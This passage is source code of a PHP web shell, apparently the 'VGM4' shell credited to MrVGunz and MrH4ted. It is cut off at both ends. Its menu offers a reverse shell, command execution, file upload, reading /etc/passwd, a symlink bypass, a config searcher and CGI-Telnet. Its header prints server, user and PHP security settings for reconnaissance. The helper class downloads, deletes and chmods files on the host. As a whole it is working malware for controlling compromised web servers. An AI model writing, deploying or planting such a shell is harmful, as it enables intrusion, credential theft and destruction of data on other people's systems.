                <li class="toggle" onclick="reverse_shell();"><img style="width:16px;height:16px;" src="data:image/png;base64,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"/><span>Reverse Shell</span></li>
                <li class="toggle" onclick="run_command();"><i class="fas fa-terminal"></i><span>Run Command</span></li>
                <li class="toggle" onclick="file_upload();"><i class="fas fa-file-upload"></i><span>File Upload</span></li>
                <li class="toggle" onclick="create_file();"><i class="fas fa-file"></i><span>Create File</span></li>
                <li class="toggle" onclick="create_dir();"><i class="fas fa-folder-plus"></i><span>Create Directory</span></li>
                <li class="toggle" onclick="download_folder();"><i class="fas fa-file-archive"></i><span>Download Folder</span></li>
                <li class="toggle" onclick="search_disk();"><i class="fas fa-search"></i><span>Search Disk</span></li>
                <li class="toggle" onclick="read_passwd();"><i><img src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAoklEQVQ4je2QQQ3CUBBEHziohVqohVrAQpGABTQgASxUApUAEkDC48CQLIQQAjfCJJP/d3d2shn442vM1E93B2BERW3VJrzVvOh1XjGgDilO4SLvSt2rh9JbFJ3qMC8nLYEJWAMj0AEt0AA9cMxsihaAanAOiahPfcx/90R3Z7CNcJMLmhiNuWTKrI/2ipJBVwKrwdYAa7CtCgnm8LD8Nn8AF5fx6FYl7EMnAAAAAElFTkSuQmCC"></i><span>Read /etc/passwd</span></li>
                <li class="toggle" onclick="symlink();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABJ0lEQVRYhe2T0W3DIBCGP3cDOoI7gjtCV/AK7gjxCM4I7QjpCPEIyQhZIRnh70OO6ESgjpo+RCqfhA6OA/47ACqVSqVSeSQkIWmQtJW0k7SRFCR1Nt5Jai0O5/PzQ9IPkia3XyupKOBNZ462QGYxUZK0ckIl6WCHlDhkxpcznxINndkZeAdG6wezAIPZ3uxnsscIPANfzvcCvAInoHVrryoQXOYx+8GVPGYTsz/aGl+BYLFTUsF4ZZJ0EZBWIABrl30LfLjKxKwmNz5ls7mRVEAPbDiXOWTio4A4l5b/bgFr27QDVuYbgb31907E7Px/g7ur4O4ybfEd9Ik/tya3R9AP33Cp+a93S3yxRdIrWKL09X5N4wfF0lwLmLnz9TdNsxxUqVT+Bd9dUuNpd1va5QAAAABJRU5ErkJggg=="></i><span>SYM Bypass</span></li>
                <li class="toggle" onclick="config_searcher();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVRYhe1V2w2DMAy8Vl0gK7ACK9ARmIUV2hFYgRVgBDpCGaEd4fpRu7IChED5IydFMY6TO+w8gISEhISj4zQ3QDJ2jRJABuAeJDrNUs0LiGg9v+iXYlcjgrwU8pfYmwScI7RUAHppNQBn/IpCegegkdjGzK1X/T3wy8CNY/Qk3YTPlmQ0Z4sAS1KQzEi2QlKaEii5LYnG//bIHM8loKEw9gPAG8DV+EovPpd+ANCJ3Rn/agEPYzsRUIndTcQPJlaRhciDkLS2ksKnSedL0uuXwMmYH795D+iirVnoSTL3am7vgFxiVKjO3SzACnEcn2/n2bo51a+nqPlXQGzTEjRCrt/VMuM+AnJDqqgZuAn3eIymoEd0gJym1Y9RQkLCYfABnDR7je5K+3YAAAAASUVORK5CYII="></i><span>Config Searcher</span></li>
                <li class="toggle" onclick="cgi_telnet();"><i><img style="width:16px;height:16px;" src="data: image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM/rhtAAACc0lEQVRYhe2X3XHqMBCFP5g04JRgSuCWQEogJZgSoAT8npdQApQAJeAS4hJwCcnD7o7WhgEZ29wXnxmN/KOfo9090gpGjBhxF5PV19er55wDJVDFNJ4Oy+UKa+AM/ABpTIdXEzQksQ3fhmRxAzlQIO4tYzq0sWAKfAMXLXsknjzWiPsuwFbfj1oAMv22jZ001oIpEjveNUtgAXwgVjFCnmwTifaJRqwF1zp4BXwqqUq/ZcgCjNBJ/6+IVOo9tLEgwEELwLv7762yIsSXJ/4U2qq4s0XaIpagWWSJuDVBRHJELOSJm8XmiPtfQnCndUpQsYmk0HLSNhnwy7WoBiVYIIHv964SEYwR88/oc/4qgjbhDJhomREEA+LSHBHPBFmQodA6d/2j0OdJskdcWgAbwhbkCbZGn2fxRus5Ih4jXNHB1X1acIfEZUYQR4mQizp3b6HvZOFEXSid8b/SrWg8a8GEkMlY+jQIpoR0qM2ub0I4cp1ydUXmxuaNcND3GjsdUEvJfAwac/9+Jhxb97ISb9EM2WIu+r5stF3o/18kuf0mqD6j7smjj8GUkFY1k8+5K583CPpV+9RroWWGbDVLJefnzLTNPx3HX6YW3oI75HjyOdwGOZaM1JLHMXdQQn4hZsWta/Ou7SpH9EBITAA+PMESicPaCrgW0KOU3TbsAyGurU/q6j3iXj9uSX1TP7XZZmyyvreUolHX4An648mQI8Tm1NUedem+gVL7HnTsRwlFMnU/1oiyzD0g7j1r2SKx9PS5SoivLaLgH4IgbVw//mWKXHKa7FeEDMREYSLqghwRngkjIdwCjZhZ9+X3nxEjRgyBP3xcmbgIVhRmAAAAAElFTkSuQmCC"></i><span>CGI-Telnet</span></li>
                <li class="toggle" onclick="adminer();"><i><img style="width:16px;height:16px;" src="data: image/x-icon;base64,AAABAAEAEBAQAAEABAAoAQAAFgAAACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AAAA/wBhTgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAERERAAAAAAETMzEQAAAAATERExAAAAABMRETEAAAAAExERMQAAAAATERExAAAAABMRETEAAAAAEzMzMREREQATERExEhEhABEzMxEhEREAAREREhERIRAAAAARIRESEAAAAAESEiEQAAAAABEREQAAAAAAAAAAD//9UAwP/VAIB/AACAf/AAgH+kAIB/gACAfwAAgH8AAIABAACAAf8AgAH/AMAA/wD+AP8A/wAIAf+B1QD//9UA"></i><span>Adminer</span></li>
            </ul>
        </div>

        <div class="popup-box alert">
        </div>
        <div class="popup-box success">
        </div>

        <div class="title">

            <h3></h3>
            <h4><a href="http://vgm4team.xyz">VGM4 Website<p>&nbsp;</p></a></h4>
            <h4><a href="http://mrvgunz.xyz">MrVGunz &</a><a href="#"> MrH4ted<p>&nbsp;</p></a></h4>
            <ul>
                <li><span></span> <?php 
    print $_SERVER['SERVER_SOFTWARE'] . ' | PHP Version: ' . @phpversion();
    ?></li>
                <li><span></span> <?php 
    print @php_uname() ? @php_uname() : 'Unable to get that information';
    ?></li>
                <li><span></span> uid=<?php 
    print @getmyuid();
    ?>(<?php 
    print @get_current_user();
    ?>) gid=<?php 
    print @getmygid();
    ?>(<?php 
    $group = @posix_getgrgid(@getmygid());
    print $group['name'] ? $group['name'] : @get_current_user();
    ?>)</li>
                <li><span></span> <?php 
    $user_count = $helpers->get_users_count();
    if ($user_count != 'Windows not supported') {
        print '<font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="user_list();">' . $user_count . '</font>';
    } else {
        print $user_count;
    }
    ?></li>
                <li><span></span> <?php 
    $group_count = $helpers->get_groups_count();
    if ($group_count != 'Windows not supported') {
        print '<font class="toggle" style="cursor:pointer;text-decoration:underline;color:#ff0000;font-weight:bold" onclick="group_list();">' . $group_count . '</font>';
    } else {
        print $group_count;
    }
    ?></li>
                <li><span></span> <?php 
    if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
        print "<font style='color:red'>ON (secure)</font>";
    } else {
        print "<strong><font style='color:#00ff00'>OFF</font></strong>";
    }
    ?> </li>
                <li><span></span> <?php 
    $v = @ini_get("open_basedir");
    if ($v or strtolower($v) == "on") {
        print "<font style='color:red'>" . $v . "</font>";
    } else {
        print "<strong><font style='color:#00ff00'>OFF</font></strong>";
    }
    ?></li>
                <li><span></span> <?php 
    $df = @ini_get("disable_functions");
    if (!empty($df)) {
        print "<font style='color:red'>" . $df . "</font>";
    } else {
        print "<strong><font style='color:#00ff00'>NONE</font></strong>";
    }
    ?></li>
                <li><span></span> <?php 
    $s = @ini_get('upload_max_filesize');
    if (!empty($s)) {
        print $s;
    } else {
        print "Unable to get that information";
    }
    ?></li>
                <li><span></span> <p><?php 
    $ext = @get_loaded_extensions();
    print implode(',', $ext);
    ?></p></li>
                <li><span></span> <p><?php 
    $info = $helpers->get_ip_information();
    ?> [ <strong>IP Address:</strong> <?php 
    print $info["ip"];
    ?> , <strong>Country:</strong> <?php 
    print $info["country"];
    ?> , <strong>City:</strong> <?php 
    print $info["city"];
    ?> , <strong>Region:</strong> <?php 
    print $info["region"];
    ?> , <strong>Timezone:</strong> <?php 
    print $info["timezone"];
    ?> ]</p></li>
                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><div id="path"></div></form></p></li> 
                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required id="curr_dir" value=""/><button onclick="change_dir();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Change dir</button></form></p></li>
                <li style="margin-top:5px"><span></span><p><form method="post" style="display:flex;align-items:center" onsubmit="event.preventDefault();"><input class="toggle" type="text" style="background:none;border:1px solid rgba(255,255,255,.3);width:600px;height:35px;padding-left:5px;" autocomplete="off" required id="read_file" value=""/><button class="toggle" onclick="readfile();" style="margin-left:5px;text-align:center;height:35px;cursor:pointer;font-weight:bold;border:none;background:rgba(0,0,0,.2);color:#00ff00;padding:10px;width:150px;text-align:center">Read File</button></form></p></li>

            </ul>
        </div>
        
        <div class="inner">
        <div class="loaderhold"><div class="loader"></div></div>
            <table cellspacing="0" cellpadding="0">
                <thead>
                    <tr>
                        <th style="text-align:center;"></th>
                        <th style="text-align:left;">Name</th>
                        <th>Size</th>
                        <th>Last Modified</th>
                        <th>Permissions</th>
                        <th>Action</th>
                    </tr>
                </thead>
                
                <tbody>

                </tbody>
        
            </table>
        </div>

        <div class="process-screen" id="screen"></div>

    </div>

</div>


</body>
</html>


<?php 
    class helpers
    {
        public function list_dir($target = '.')
        {
            if (!@chdir($target)) {
                return false;
            }
            $dirpath = @getcwd();
            $current_dir = @scandir($target);
            unset($current_dir[0]);
            $dirs = array();
            $files = array();
            $current_dir = @array_values($current_dir);
            foreach ($current_dir as $data) {
                if (is_dir($data)) {
                    $dirs['name'][] = $data;
                    $dirs['type'][] = $this->get_type($data);
                    $dirs['perms'][] = $this->view_perms_color($data);
                    $dirs['perm_num'][] = $this->view_perm_number($data);
                    $dirs['size'][] = $this->get_size($data);
                    $dirs['modify'][] = $this->modify_time($data);
                } else {
                    $files['name'][] = $data;
                    $files['type'][] = $this->get_type($data);
                    $files['perms'][] = $this->view_perms_color($data);
                    $files['perm_num'][] = $this->view_perm_number($data);
                    $files['size'][] = $this->get_size($data);
                    $files['modify'][] = $this->modify_time($data);
                }
            }
            $return_list = array();
            $count = @count($dirs['name']);
            for ($i = 0; $i < $count; $i++) {
                $return_list['name'][] = $dirs['name'][$i];
                $return_list['path'][] = $dirpath . '/' . $dirs['name'][$i];
                $return_list['type'][] = $dirs['type'][$i];
                $return_list['perms'][] = $dirs['perms'][$i];
                $return_list['perm_num'][] = $dirs['perm_num'][$i];
                $return_list['size'][] = $dirs['size'][$i];
                $return_list['modify'][] = $dirs['modify'][$i];
            }
            $count2 = @count($files['name']);
            for ($x = 0; $x < $count2; $x++) {
                $return_list['name'][] = $files['name'][$x];
                $return_list['path'][] = $dirpath . '/' . $files['name'][$x];
                $return_list['type'][] = $files['type'][$x];
                $return_list['perms'][] = $files['perms'][$x];
                $return_list['perm_num'][] = $files['perm_num'][$x];
                $return_list['size'][] = $files['size'][$x];
                $return_list['modify'][] = $files['modify'][$x];
            }
            $return_list['current_dir'][] = str_replace('\\', '/', @getcwd());
            return $return_list;
        }
        public function get_type($target)
        {
            if (is_dir($target)) {
                return "directory";
            } else {
                return "file";
            }
        }
        public function get_size($target)
        {
            if (is_file($target)) {
                return $this->human_filesize(@filesize($target));
            } else {
                return "DIR";
            }
        }
        public function modify_time($target)
        {
            return date('d/m/Y - H:i:s', @filemtime($target));
        }
        public function human_filesize($bytes, $decimals = 2)
        {
            // https://gist.github.com/liunian/9338301
            $size = array('B', 'kB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
            $factor = floor((strlen($bytes) - 1) / 3);
            return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$size[$factor];
        }
        // view_perms & view_perms_color functions are taken from c99
        // Updated by: KaizenLouie for PHP 7
        // Find it on github
        public function view_perms($mode)
        {
            if (($mode & 0xc000) === 0xc000) {
                $type = "s";
            } elseif (($mode & 0x4000) === 0x4000) {
                $type = "d";
            } elseif (($mode & 0xa000) === 0xa000) {
                $type = "l";
            } elseif (($mode & 0x8000) === 0x8000) {
                $type = "-";
            } elseif (($mode & 0x6000) === 0x6000) {
                $type = "b";
            } elseif (($mode & 0x2000) === 0x2000) {
                $type = "c";
            } elseif (($mode & 0x1000) === 0x1000) {
                $type = "p";
            } else {
                $type = "?";
            }
            $owner["read"] = $mode & 0400 ? "r" : "-";
            $owner["write"] = $mode & 0200 ? "w" : "-";
            $owner["execute"] = $mode & 0100 ? "x" : "-";
            $group["read"] = $mode & 040 ? "r" : "-";
            $group["write"] = $mode & 020 ? "w" : "-";
            $group["execute"] = $mode & 010 ? "x" : "-";
            $world["read"] = $mode & 04 ? "r" : "-";
            $world["write"] = $mode & 02 ? "w" : "-";
            $world["execute"] = $mode & 01 ? "x" : "-";
            if ($mode & 0x800) {
                $owner["execute"] = $owner["execute"] == "x" ? "s" : "S";
            }
            if ($mode & 0x400) {
                $group["execute"] = $group["execute"] == "x" ? "s" : "S";
            }
            if ($mode & 0x200) {
                $world["execute"] = $world["execute"] == "x" ? "t" : "T";
            }
            return $type . join("", $owner) . join("", $group) . join("", $world);
        }
        public function view_perms_color($o)
        {
            if (!is_readable($o)) {
                return "<font style='color:red'>" . $this->view_perms(@fileperms($o)) . "</font>";
            } elseif (!is_writable($o)) {
                return "<font style='color:white'>" . $this->view_perms(@fileperms($o)) . "</font>";
            } else {
                return "<font style='color:green'>" . $this->view_perms(@fileperms($o)) . "</font>";
            }
        }
        public function view_perm_number($file)
        {
            return substr(sprintf("%o", @fileperms($file)), -4);
        }
        public function folderSize($dir)
        {
            $size = 0;
            $contents = glob(rtrim($dir, '/') . '/*', GLOB_NOSORT);
            foreach ($contents as $contents_value) {
                if (is_file($contents_value)) {
                    $size += filesize($contents_value);
                } else {
                    $size += $this->folderSize($contents_value);
                }
            }
            return $size;
        }
        public function download_file($file, $remove = false)
        {
            $pathinfo = pathinfo($file);
            header('Content-type: application/octet-stream');
            header("Content-Disposition: attachment; filename=" . $pathinfo['basename']);
            ob_end_clean();
            if (is_readable($file)) {
                readfile($file);
                if ($remove) {
                    @unlink($file);
                }
                exit;
            } else {
                return false;
            }
        }
        public function remove_file($file)
        {
            if (is_dir($file)) {
                $rmdir = $this->delete_dir($file);
                if ($rmdir) {
                    return true;
                } else {
                    return false;
                }
            } else {
                if (@unlink($file)) {
                    return true;
                } else {
                    return false;
                }
            }
        }
        public function delete_dir($dir)
        {
            $files = array_diff(scandir($dir), array('.', '..'));
            foreach ($files as $file) {
                is_dir("{$dir}/{$file}") ? $this->delete_dir("{$dir}/{$file}") : @unlink("{$dir}/{$file}");
            }
            if (rmdir($dir)) {
                return true;
            } else {
                return false;
            }
        }
        public function set_chmod($target, $mode)
        {
            if (@chmod($target, octdec($mode))) {
                return true;
            } else {
                return false;
            }
        }
        public function rename($target, $name, $old_name)
        {
